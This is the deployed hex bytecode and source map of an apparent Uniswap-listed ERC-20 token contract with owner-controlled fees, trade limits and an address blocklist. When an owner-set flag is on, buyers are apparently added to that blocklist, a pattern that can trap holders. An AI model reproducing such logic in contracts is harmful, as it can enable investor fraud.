07600085848151811061063057610630611732565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905561066b81611701565b9050610610565b505050565b6060600280546104d8906116c6565b6000806106956002603c611690565b600b546106a290426116af565b6106ac919061166e565b9050806106bb57505060095490565b80600a546106c99190611690565b6009546106d69190611656565b91505090565b6106e533610e31565b6106ee57600080fd5b6008805460ff1916911515919091179055565b61070a33610e31565b61071357600080fd5b60005b825181101561067257816006600085848151811061073657610736611732565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905561077181611701565b9050610716565b6000610568338484610b81565b61078e33610e31565b61079757600080fd5b6005805460ff60a01b1916600160a01b93151593909302929092179091556008805460ff1916911515919091179055565b6107d133610e31565b6107da57600080fd5b6005546001600160a01b0316156107f057600080fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561083f57600080fd5b505afa158015610853573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610877919061135a565b6001600160a01b031663c9c6539630737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156108d357600080fd5b505afa1580156108e7573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061090b919061135a565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561095357600080fd5b505af1158015610967573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061098b919061135a565b60008054308083526003602090815260408085208490556004808352818620737a250d5630b4cf539739df2c5dacb4c659f2488d808852908452828720959095556001600160a01b03871686526007909252808520805460ff191660011790558454905163f305d71960e01b81529182019290925260248101919091526044810183905260648101929092523360848301524260a483015291925063f305d71990479060c4016060604051808303818588803b158015610a4a57600080fd5b505af1158015610a5e573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a839190611562565b5050600580546001600160a81b0319166001600160a01b03841617600160a01b1790555042600b556000546103e890610abe90600190611690565b610ac8919061166e565b600a5550565b610ad733610e31565b610ae057600080fd5b600c80546001600160a01b0319166001600160a01b0392909216919091179055565b610b0b33610e31565b610b1457600080fd5b610b1d81610ea1565b50565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831660009081526006602052604090205460ff16158015610bc357506001600160a01b03821660009081526006602052604090205460ff16155b610bcc57600080fd5b6005546001600160a01b038481169116148015610c0257506001600160a01b03821660009081526007602052604090205460ff16155b15610cf8576000610c156002603c611690565b600b54610c2290426116af565b610c2c919061166e565b90508015610c6a576000546009541015610c655780600a54610c4e9190611690565b60096000828254610c5f9190611656565b90915550505b42600b555b600554600160a01b900460ff16610c8057600080fd5b60085460ff16610cbc576009546001600160a01b038416600090815260036020526040902054610cb1908490611656565b1115610cbc57600080fd5b60085460ff1615610ceb576001600160a01b0383166000908152600660205260409020805460ff191660011790555b610cf482610ec2565b9150505b600854610100900460ff16158015610d1a57506005546001600160a01b031615155b8015610d3357506005546001600160a01b038381169116145b15610e2657610d428184610f0c565b306000908152600360205260409020549091508015610e245760006064610d68600e5490565b6005546001600160a01b0316600090815260036020526040902054610d8d9190611690565b610d97919061166e565b905080821115610dfb576000818303905081925080600080828254610dbc91906116af565b909155505060405181815260009030907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a3505b816000610e09856002611690565b905080821115610e17578091505b610e2082610ff3565b5050505b505b6106728383836111af565b600c546000906001600160a01b0383811691161480610e5d5750600d546001600160a01b038381169116145b92915050565b600d546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610e9d573d6000803e3d6000fd5b5050565b6103e860005482610eb29190611690565b610ebc919061166e565b60095550565b600080610ed060148461166e565b9050610edc81846116af565b30600090815260036020526040812080549295508392909190610f00908490611656565b90915550929392505050565b600080610f1a60148561166e565b90506000610f2785611266565b9050610f338183611656565b610f3d90866116af565b9450610f498183611656565b6001600160a01b03851660009081526003602052604081208054909190610f719084906116af565b90915550503060009081526003602052604081208054849290610f95908490611656565b9250508190555080600080828254610fad91906116af565b909155505060405181815260009030907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a350929392505050565b6008805461ff001916610100179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061103757611037611732565b60200260200101906001600160a01b031690816001600160a01b031681525050737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156110a457600080fd5b505afa1580156110b8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110dc919061135a565b816001815181106110ef576110ef611732565b60200260200101906001600160a01b031690816001600160a01b03168152505061112e30737a250d5630b4cf539739df2c5dacb4c659f2488d84610b20565b6040516318cbafe560e01b8152737a250d5630b4cf539739df2c5dacb4c659f2488d906318cbafe59061116e9085906000908690309042906004016115e5565b600060405180830381600087803b15801561118857600080fd5b505af115801561119c573d6000803e3d6000fd5b50506008805461ff001916905550505050565b6001600160a01b038316600090815260036020526040902054818110156111d557600080fd5b6001600160a01b0380851660009081526003602052604080822085850390559185168152908120805484929061120c908490611656565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161125891815260200190565b60405180910390a350505050565b6005546001600160a01b03166000908152600360205260408120548161128d60648361166e565b90508084116112a9576112a160148561166e565b949350505050565b60006112b6600a8461166e565b9050808511156112e05760646112cd866023611690565b6112d7919061166e565b95945050505050565b60646112ec83836116af565b866112f785826116af565b611302906023611690565b61130c9190611690565b6112cd919061166e565b80356113218161175e565b919050565b8035801515811461132157600080fd5b60006020828403121561134857600080fd5b81356113538161175e565b9392505050565b60006020828403121561136c57600080fd5b81516113538161175e565b6000806040838503121561138a57600080fd5b82356113958161175e565b915060208301356113a58161175e565b809150509250929050565b6000806000606084860312156113c557600080fd5b83356113d08161175e565b925060208401356113e08161175e565b929592945050506040919091013590565b6000806040838503121561140457600080fd5b823561140f8161175e565b946020939093013593505050565b6000806040838503121561143057600080fd5b823567ffffffffffffffff8082111561144857600080fd5b818501915085601f83011261145c57600080fd5b813560208282111561147057611470611748565b8160051b604051601f19603f8301168101818110868211171561149557611495611748565b604052838152828101945085830182870184018b10156114b457600080fd5b600096505b848710156114de576114ca81611316565b8652600196909601959483019483016114b9565b5096506114ee9050878201611326565b9450505050509250929050565b60006020828403121561150d57600080fd5b61135382611326565b6000806040838503121561152957600080fd5b61153283611326565b915061154060208401611326565b90509250929050565b60006020828403121561155b57600080fd5b5035919050565b60008060006060848603121561157757600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b818110156115bd578581018301518582016040015282016115a1565b818111156115cf576000604083870101525b50601f01601f1916929092016040019392505050565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156116355784516001600160a01b031683529383019391830191600101611610565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156116695761166961171c565b500190565b60008261168b57634e487b7160e01b600052601260045260246000fd5b500490565b60008160001904831182151516156116aa576116aa61171c565b500290565b6000828210156116c1576116c161171c565b500390565b600181811c908216806116da57607f821691505b602082108114156116fb57634e487b7160e01b600052602260045260246000fd5b50919050565b60006000198214156117155761171561171c565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b0381168114610b1d57600080fdfea26469706673582212200d3d3c2429ee938bd2ba5309126b2aefcc6762bee1fa4e1c68bdeada2fbf144564736f6c63430008070033

Deployed Bytecode Sourcemap

115:1079:3:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1234:85:0;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2679:193;;;;;;;;;;-1:-1:-1;2679:193:0;;;;;:::i;:::-;;:::i;:::-;;;5435:14:4;;5428:22;5410:41;;5398:2;5383:18;2679:193:0;5270:187:4;482:25:2;;;;;;;;;;-1:-1:-1;482:25:2;;;;-1:-1:-1;;;482:25:2;;;;;;1517:102:0;;;;;;;;;;-1:-1:-1;1572:7:0;1599:12;1517:102;;;6210:25:4;;;6198:2;6183:18;1517:102:0;6064:177:4;3108:438:0;;;;;;;;;;-1:-1:-1;3108:438:0;;;;;:::i;:::-;;:::i;1424:85::-;;;;;;;;;;-1:-1:-1;1424:85:0;;971:2;7373:36:4;;7361:2;7346:18;1424:85:0;7231:184:4;514:37:2;;;;;;;;;;-1:-1:-1;514:37:2;;;;;:::i;:::-;;;;;;;;;;;;;;;;7629:90;;;;;;;;;;;;;:::i;:::-;;447:28;;;;;;;;;;-1:-1:-1;447:28:2;;;;-1:-1:-1;;;;;447:28:2;;;;;;-1:-1:-1;;;;;4305:32:4;;;4287:51;;4275:2;4260:18;447:28:2;4141:203:4;628:185:3;;;;;;;;;;-1:-1:-1;628:185:3;;;;;:::i;:::-;;:::i;7088:238:2:-;;;;;;;;;;-1:-1:-1;7088:238:2;;;;;:::i;:::-;;:::i;1627:160:0:-;;;;;;;;;;-1:-1:-1;1627:160:0;;;;;:::i;:::-;-1:-1:-1;;;;;1761:18:0;1729:7;1761:18;;;:9;:18;;;;;;;1627:160;658:21:2;;;;;;;;;;;;;;;;1327:89:0;;;;;;;;;;;;;:::i;5979:302:2:-;;;;;;;;;;;;;:::i;935:28::-;;;;;;;;;;;;;;;;7527:94;;;;;;;;;;-1:-1:-1;7527:94:2;;;;;:::i;:::-;;:::i;6888:192::-;;;;;;;;;;-1:-1:-1;6888:192:2;;;;;:::i;:::-;;:::i;1795:199:0:-;;;;;;;;;;-1:-1:-1;1795:199:0;;;;;:::i;:::-;;:::i;7334:185:2:-;;;;;;;;;;-1:-1:-1;7334:185:2;;;;;:::i;:::-;;:::i;863:35::-;;;;;;;;;;;;;;;;1378:843;;;;;;;;;;;;;:::i;2485:186:0:-;;;;;;;;;;-1:-1:-1;2485:186:0;;;;;:::i;:::-;-1:-1:-1;;;;;2636:18:0;;;2604:7;2636:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;2485:186;1091:100:3;;;;;;;;;;-1:-1:-1;1091:100:3;;;;;:::i;:::-;;:::i;5761:93:2:-;;;;;;;;;;-1:-1:-1;5761:93:2;;;;;:::i;:::-;;:::i;1234:85:0:-;1273:13;1306:5;1299:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1234:85;:::o;2679:193::-;2783:4;2805:37;2814:10;2826:7;2835:6;2805:8;:37::i;:::-;-1:-1:-1;2860:4:0;2679:193;;;;:::o;3108:438::-;3242:4;3259:36;3269:6;3277:9;3288:6;3259:9;:36::i;:::-;-1:-1:-1;;;;;3335:19:0;;3308:24;3335:19;;;:11;:19;;;;;;;;3355:10;3335:31;;;;;;;;3385:26;;;;3377:35;;;;;;3448:55;3457:6;3465:10;3496:6;3477:16;:25;3448:8;:55::i;:::-;-1:-1:-1;3534:4:0;;3108:438;-1:-1:-1;;;;3108:438:0:o;7629:90:2:-;1035:19;1043:10;1035:7;:19::i;:::-;1027:28;;;;;;7679:32:::1;7689:21;7679:9;:32::i;:::-;7629:90::o:0;628:185:3:-;1035:19:2;1043:10;1035:7;:19::i;:::-;1027:28;;;;;;753:27:3::1;:52:::0;628:185::o;7088:238:2:-;1035:19;1043:10;1035:7;:19::i;:::-;1027:28;;;;;;7212:9:::1;7207:112;7231:8;:15;7227:1;:19;7207:112;;;7302:5;7268:18;:31;7287:8;7296:1;7287:11;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;7268:31:2::1;::::0;;;::::1;::::0;;;;;;-1:-1:-1;7268:31:2;:39;;-1:-1:-1;;7268:39:2::1;::::0;::::1;;::::0;;;::::1;::::0;;7248:3:::1;::::0;::::1;:::i;:::-;;;7207:112;;;;7088:238:::0;;:::o;1327:89:0:-;1368:13;1401:7;1394:14;;;;;:::i;5979:302:2:-;6023:7;;6118:39;735:1;6148:9;6118:39;:::i;:::-;6087:13;;6069:31;;:15;:31;:::i;:::-;6068:90;;;;:::i;:::-;6043:115;-1:-1:-1;6173:19:2;6169:38;;-1:-1:-1;;6201:6:2;;;5979:302::o;6169:38::-;6259:14;6236:20;;:37;;;;:::i;:::-;6227:6;;:46;;;;:::i;:::-;6220:53;;;5979:302;:::o;7527:94::-;1035:19;1043:10;1035:7;:19::i;:::-;1027:28;;;;;;7593:12:::1;:20:::0;;-1:-1:-1;;7593:20:2::1;::::0;::::1;;::::0;;;::::1;::::0;;7527:94::o;6888:192::-;1035:19;1043:10;1035:7;:19::i;:::-;1027:28;;;;;;6979:9:::1;6974:99;6998:8;:15;6994:1;:19;6974:99;;;7056:5;7035;:18;7041:8;7050:1;7041:11;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;7035:18:2::1;::::0;;;::::1;::::0;;;;;;-1:-1:-1;7035:18:2;:26;;-1:-1:-1;;7035:26:2::1;::::0;::::1;;::::0;;;::::1;::::0;;7015:3:::1;::::0;::::1;:::i;:::-;;;6974:99;;1795:199:0::0;1902:4;1924:40;1934:10;1946:9;1957:6;1924:9;:40::i;7334:185:2:-;1035:19;1043:10;1035:7;:19::i;:::-;1027:28;;;;;;7448:13:::1;:21:::0;;-1:-1:-1;;;;7448:21:2::1;-1:-1:-1::0;;;7448:21:2;::::1;;::::0;;;::::1;::::0;;;::::1;::::0;;;7480:12:::1;:31:::0;;-1:-1:-1;;7480:31:2::1;::::0;::::1;;::::0;;;::::1;::::0;;7334:185::o;1378:843::-;1035:19;1043:10;1035:7;:19::i;:::-;1027:28;;;;;;1439:13:::1;::::0;-1:-1:-1;;;;;1439:13:2::1;:27:::0;1431:36:::1;;;::::0;::::1;;1478:12;397:42;-1:-1:-1::0;;;;;1511:24:2::1;;:26;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;1493:56:2::1;;1572:4;397:42;-1:-1:-1::0;;;;;1592:21:2::1;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;1493:133;::::0;-1:-1:-1;;;;;;1493:133:2::1;::::0;;;;;;-1:-1:-1;;;;;4579:15:4;;;1493:133:2::1;::::0;::::1;4561:34:4::0;4631:15;;4611:18;;;4604:43;4496:18;;1493:133:2::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;1664:12;::::0;;1655:4:::1;1637:24:::0;;;:9:::1;:24;::::0;;;;;;;:39;;;1687:11:::1;:26:::0;;;;;;397:42:::1;1687:53:::0;;;;;;;;;:68;;;;-1:-1:-1;;;;;1766:24:2;::::1;::::0;;:18:::1;:24:::0;;;;;;:31;;-1:-1:-1;;1766:31:2::1;1793:4;1766:31;::::0;;1913:12;;1808:215;;-1:-1:-1;;;1808:215:2;;;;::::1;4999:34:4::0;;;;5049:18;;;5042:34;;;;5092:18;;;5085:34;;;5135:18;;;5128:34;;;;1972:10:2::1;5178:19:4::0;;;5171:44;1997:15:2::1;5231:19:4::0;;;5224:35;1766:24:2;;-1:-1:-1;1808:32:2::1;::::0;1848:21:::1;::::0;4933:19:4;;1808:215:2::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;2036:13:2::1;:20:::0;;-1:-1:-1;;;;;;2067:20:2;-1:-1:-1;;;;;2036:20:2;::::1;2067::::0;-1:-1:-1;;;2067:20:2::1;::::0;;-1:-1:-1;2116:15:2::1;2100:13;:31:::0;2036:13:::1;2166:12:::0;2209:4:::1;::::0;2166:39:::1;::::0;2036:20;;2166:39:::1;:::i;:::-;2165:48;;;;:::i;:::-;2142:20;:71:::0;-1:-1:-1;1378:843:2:o;1091:100:3:-;1035:19:2;1043:10;1035:7;:19::i;:::-;1027:28;;;;;;1166:6:3::1;:17:::0;;-1:-1:-1;;;;;;1166:17:3::1;-1:-1:-1::0;;;;;1166:17:3;;;::::1;::::0;;;::::1;::::0;;1091:100::o;5761:93:2:-;1035:19;1043:10;1035:7;:19::i;:::-;1027:28;;;;;;5827:19:::1;5838:7;5827:10;:19::i;:::-;5761:93:::0;:::o;2880:220:0:-;-1:-1:-1;;;;;3008:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;3060:32;;6210:25:4;;;3060:32:0;;6183:18:4;3060:32:0;;;;;;;2880:220;;;:::o;2229:2227:2:-;-1:-1:-1;;;;;2362:11:2;;;;;;:5;:11;;;;;;;;2361:12;:26;;;;-1:-1:-1;;;;;;2378:9:2;;;;;;:5;:9;;;;;;;;2377:10;2361:26;2353:35;;;;;;2429:13;;-1:-1:-1;;;;;2421:21:2;;;2429:13;;2421:21;:48;;;;-1:-1:-1;;;;;;2447:22:2;;;;;;:18;:22;;;;;;;;2446:23;2421:48;2417:680;;;2519:22;2598:39;735:1;2628:9;2598:39;:::i;:::-;2563:13;;2545:31;;:15;:31;:::i;:::-;2544:94;;;;:::i;:::-;2519:119;-1:-1:-1;2657:18:2;;2653:204;;2709:12;;2700:6;;:21;2696:95;;;2777:14;2754:20;;:37;;;;:::i;:::-;2744:6;;:47;;;;;;;:::i;:::-;;;;-1:-1:-1;;2696:95:2;2826:15;2810:13;:31;2653:204;2881:13;;-1:-1:-1;;;2881:13:2;;;;2873:22;;;;;;2915:12;;;;2910:60;;2963:6;;-1:-1:-1;;;;;2937:13:2;;;;;;:9;:13;;;;;;:22;;2953:6;;2937:22;:::i;:::-;:32;;2929:41;;;;;;3013:12;;;;3009:34;;;-1:-1:-1;;;;;3027:9:2;;;;;;:5;:9;;;;;:16;;-1:-1:-1;;3027:16:2;3039:4;3027:16;;;3009:34;3067:18;3078:6;3067:10;:18::i;:::-;3058:27;;2471:626;2417:680;3131:7;;;;;;;3130:8;:39;;;;-1:-1:-1;3142:13:2;;-1:-1:-1;;;;;3142:13:2;:27;;3130:39;:62;;;;-1:-1:-1;3179:13:2;;-1:-1:-1;;;;;3173:19:2;;;3179:13;;3173:19;3130:62;3126:1122;;;3218:25;3230:6;3238:4;3218:11;:25::i;:::-;3307:4;3258:28;1761:18:0;;;:9;:18;;;;;;3209:34:2;;-1:-1:-1;3332:24:2;;3328:909;;3377:26;3489:3;3455:30;585:27:3;;;445:175;3455:30:2;3417:13;;-1:-1:-1;;;;;3417:13:2;1729:7:0;1761:18;;;:9;:18;;;;;;3407:78:2;;;;:::i;:::-;3406:86;;;;:::i;:::-;3377:115;;3538:18;3515:20;:41;3511:429;;;3581:17;3693:18;3670:20;:41;3658:53;;3780:18;3757:41;;3837:9;3821:12;;:25;;;;;;;:::i;:::-;;;;-1:-1:-1;;3874:46:2;;6210:25:4;;;3906:1:2;;3891:4;;3874:46;;6198:2:4;6183:18;3874:46:2;;;;;;;3558:382;3511:429;4030:20;4010:17;4092:10;4096:6;4092:1;:10;:::i;:::-;4069:33;;4137:12;4125:9;:24;4121:54;;;4163:12;4151:24;;4121:54;4194:27;4211:9;4194:16;:27::i;:::-;3358:879;;;3328:909;3194:1054;3126:1122;4365:33;4381:4;4387:2;4391:6;4365:15;:33::i;937:146:3:-;1038:6;;1003:4;;-1:-1:-1;;;;;1027:17:3;;;1038:6;;1027:17;;:48;;-1:-1:-1;1059:16:3;;-1:-1:-1;;;;;1048:27:3;;;1059:16;;1048:27;1027:48;1020:55;937:146;-1:-1:-1;;937:146:3:o;821:108::-;890:16;;882:39;;-1:-1:-1;;;;;890:16:3;;;;882:39;;;;;917:3;;890:16;882:39;890:16;882:39;917:3;890:16;882:39;;;;;;;;;;;;;;;;;;;;;821:108;:::o;5862:109:2:-;5959:4;5943:12;;5931:9;:24;;;;:::i;:::-;5930:33;;;;:::i;:::-;5921:6;:42;-1:-1:-1;5862:109:2:o;4464:202::-;4517:7;;4551:11;4560:2;4551:6;:11;:::i;:::-;4537:25;-1:-1:-1;4579:13:2;4537:25;4579:13;;:::i;:::-;4621:4;4603:24;;;;:9;:24;;;;;:31;;4579:13;;-1:-1:-1;4631:3:2;;4603:24;;;:31;;4631:3;;4603:31;:::i;:::-;;;;-1:-1:-1;4652:6:2;;4464:202;-1:-1:-1;;;4464:202:2:o;5239:514::-;5328:7;;5392:11;5401:2;5392:6;:11;:::i;:::-;5375:28;;5420:17;5440:24;5457:6;5440:16;:24::i;:::-;5420:44;-1:-1:-1;5501:18:2;5420:44;5501:6;:18;:::i;:::-;5491:28;;;;:::i;:::-;;-1:-1:-1;5552:18:2;5561:9;5552:6;:18;:::i;:::-;-1:-1:-1;;;;;5530:18:2;;;;;;:9;:18;;;;;:40;;:18;;;:40;;;;;:::i;:::-;;;;-1:-1:-1;;5607:4:2;5589:24;;;;:9;:24;;;;;:34;;5617:6;;5589:24;:34;;5617:6;;5589:34;:::i;:::-;;;;;;;;5650:9;5634:12;;:25;;;;;;;:::i;:::-;;;;-1:-1:-1;;5675:46:2;;6210:25:4;;;5707:1:2;;5692:4;;5675:46;;6198:2:4;6183:18;5675:46:2;;;;;;;-1:-1:-1;5739:6:2;;5239:514;-1:-1:-1;;;5239:514:2:o;6289:591::-;1117:7;:14;;-1:-1:-1;;1117:14:2;;;;;6451:16:::1;::::0;;6465:1:::1;6451:16:::0;;;;;::::1;::::0;;-1:-1:-1;;6451:16:2::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;6451:16:2::1;6427:40;;6496:4;6478;6483:1;6478:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1::0;;;;;6478:23:2::1;;;-1:-1:-1::0;;;;;6478:23:2::1;;;::::0;::::1;397:42;-1:-1:-1::0;;;;;6522:21:2::1;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6512:4;6517:1;6512:7;;;;;;;;:::i;:::-;;;;;;:33;-1:-1:-1::0;;;;;6512:33:2::1;;;-1:-1:-1::0;;;;;6512:33:2::1;;;::::0;::::1;6558:63;6575:4;397:42;6609:11;6558:8;:63::i;:::-;6660:212;::::0;-1:-1:-1;;;6660:212:2;;397:42:::1;::::0;6660:38:::1;::::0;:212:::1;::::0;6713:11;;6739:1:::1;::::0;6783:4;;6810::::1;::::0;6846:15:::1;::::0;6660:212:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;1154:7:2;:15;;-1:-1:-1;;1154:15:2;;;-1:-1:-1;;;;6289:591:2:o;2002:475:0:-;-1:-1:-1;;;;;2200:15:0;;2176:21;2200:15;;;:9;:15;;;;;;2234:23;;;;2226:32;;;;;;-1:-1:-1;;;;;2294:15:0;;;;;;;:9;:15;;;;;;2312:22;;;2294:40;;2356:13;;;;;;;;:23;;2328:6;;2294:15;2356:23;;2328:6;;2356:23;:::i;:::-;;;;;;;;2410:2;-1:-1:-1;;;;;2395:26:0;2404:4;-1:-1:-1;;;;;2395:26:0;;2414:6;2395:26;;;;6210:25:4;;6198:2;6183:18;;6064:177;2395:26:0;;;;;;;;2114:363;2002:475;;;:::o;4674:557:2:-;4819:13;;-1:-1:-1;;;;;4819:13:2;4739:7;4809:24;;;:9;:24;;;;;;4739:7;4859:11;4867:3;4809:24;4859:11;:::i;:::-;4844:26;;4922:4;4912:6;:14;4908:38;;4935:11;4944:2;4935:6;:11;:::i;:::-;4928:18;4674:557;-1:-1:-1;;;;4674:557:2:o;4908:38::-;4976:12;4991:10;4999:2;4991:5;:10;:::i;:::-;4976:25;;5056:4;5047:6;:13;5043:45;;;5085:3;5070:11;:6;5079:2;5070:11;:::i;:::-;5069:19;;;;:::i;:::-;5062:26;4674:557;-1:-1:-1;;;;;4674:557:2:o;5043:45::-;5220:3;5204:11;5211:4;5204;:11;:::i;:::-;5193:6;5171:13;5180:4;5193:6;5171:13;:::i;:::-;5170:20;;5188:2;5170:20;:::i;:::-;:29;;;;:::i;:::-;5169:47;;;;:::i;14:134:4:-;82:20;;111:31;82:20;111:31;:::i;:::-;14:134;;;:::o;153:160::-;218:20;;274:13;;267:21;257:32;;247:60;;303:1;300;293:12;318:247;377:6;430:2;418:9;409:7;405:23;401:32;398:52;;;446:1;443;436:12;398:52;485:9;472:23;504:31;529:5;504:31;:::i;:::-;554:5;318:247;-1:-1:-1;;;318:247:4:o;570:251::-;640:6;693:2;681:9;672:7;668:23;664:32;661:52;;;709:1;706;699:12;661:52;741:9;735:16;760:31;785:5;760:31;:::i;826:388::-;894:6;902;955:2;943:9;934:7;930:23;926:32;923:52;;;971:1;968;961:12;923:52;1010:9;997:23;1029:31;1054:5;1029:31;:::i;:::-;1079:5;-1:-1:-1;1136:2:4;1121:18;;1108:32;1149:33;1108:32;1149:33;:::i;:::-;1201:7;1191:17;;;826:388;;;;;:::o;1219:456::-;1296:6;1304;1312;1365:2;1353:9;1344:7;1340:23;1336:32;1333:52;;;1381:1;1378;1371:12;1333:52;1420:9;1407:23;1439:31;1464:5;1439:31;:::i;:::-;1489:5;-1:-1:-1;1546:2:4;1531:18;;1518:32;1559:33;1518:32;1559:33;:::i;:::-;1219:456;;1611:7;;-1:-1:-1;;;1665:2:4;1650:18;;;;1637:32;;1219:456::o;1680:315::-;1748:6;1756;1809:2;1797:9;1788:7;1784:23;1780:32;1777:52;;;1825:1;1822;1815:12;1777:52;1864:9;1851:23;1883:31;1908:5;1883:31;:::i;:::-;1933:5;1985:2;1970:18;;;;1957:32;;-1:-1:-1;;;1680:315:4:o;2000:1202::-;2090:6;2098;2151:2;2139:9;2130:7;2126:23;2122:32;2119:52;;;2167:1;2164;2157:12;2119:52;2207:9;2194:23;2236:18;2277:2;2269:6;2266:14;2263:34;;;2293:1;2290;2283:12;2263:34;2331:6;2320:9;2316:22;2306:32;;2376:7;2369:4;2365:2;2361:13;2357:27;2347:55;;2398:1;2395;2388:12;2347:55;2434:2;2421:16;2456:4;2479:2;2475;2472:10;2469:36;;;2485:18;;:::i;:::-;2531:2;2528:1;2524:10;2563:2;2557:9;2626:2;2622:7;2617:2;2613;2609:11;2605:25;2597:6;2593:38;2681:6;2669:10;2666:22;2661:2;2649:10;2646:18;2643:46;2640:72;;;2692:18;;:::i;:::-;2728:2;2721:22;2778:18;;;2812:15;;;;-1:-1:-1;2847:11:4;;;2877;;;2873:20;;2870:33;-1:-1:-1;2867:53:4;;;2916:1;2913;2906:12;2867:53;2938:1;2929:10;;2948:169;2962:2;2959:1;2956:9;2948:169;;;3019:23;3038:3;3019:23;:::i;:::-;3007:36;;2980:1;2973:9;;;;;3063:12;;;;3095;;2948:169;;;-1:-1:-1;3136:6:4;-1:-1:-1;3161:35:4;;-1:-1:-1;3177:18:4;;;3161:35;:::i;:::-;3151:45;;;;;;2000:1202;;;;;:::o;3207:180::-;3263:6;3316:2;3304:9;3295:7;3291:23;3287:32;3284:52;;;3332:1;3329;3322:12;3284:52;3355:26;3371:9;3355:26;:::i;3392:248::-;3454:6;3462;3515:2;3503:9;3494:7;3490:23;3486:32;3483:52;;;3531:1;3528;3521:12;3483:52;3554:26;3570:9;3554:26;:::i;:::-;3544:36;;3599:35;3630:2;3619:9;3615:18;3599:35;:::i;:::-;3589:45;;3392:248;;;;;:::o;3645:180::-;3704:6;3757:2;3745:9;3736:7;3732:23;3728:32;3725:52;;;3773:1;3770;3763:12;3725:52;-1:-1:-1;3796:23:4;;3645:180;-1:-1:-1;3645:180:4:o;3830:306::-;3918:6;3926;3934;3987:2;3975:9;3966:7;3962:23;3958:32;3955:52;;;4003:1;4000;3993:12;3955:52;4032:9;4026:16;4016:26;;4082:2;4071:9;4067:18;4061:25;4051:35;;4126:2;4115:9;4111:18;4105:25;4095:35;;3830:306;;;;;:::o;5462:597::-;5574:4;5603:2;5632;5621:9;5614:21;5664:6;5658:13;5707:6;5702:2;5691:9;5687:18;5680:34;5732:1;5742:140;5756:6;5753:1;5750:13;5742:140;;;5851:14;;;5847:23;;5841:30;5817:17;;;5836:2;5813:26;5806:66;5771:10;;5742:140;;;5900:6;5897:1;5894:13;5891:91;;;5970:1;5965:2;5956:6;5945:9;5941:22;5937:31;5930:42;5891:91;-1:-1:-1;6043:2:4;6022:15;-1:-1:-1;;6018:29:4;6003:45;;;;6050:2;5999:54;;5462:597;-1:-1:-1;;;5462:597:4:o;6246:980::-;6508:4;6556:3;6545:9;6541:19;6587:6;6576:9;6569:25;6613:2;6651:6;6646:2;6635:9;6631:18;6624:34;6694:3;6689:2;6678:9;6674:18;6667:31;6718:6;6753;6747:13;6784:6;6776;6769:22;6822:3;6811:9;6807:19;6800:26;;6861:2;6853:6;6849:15;6835:29;;6882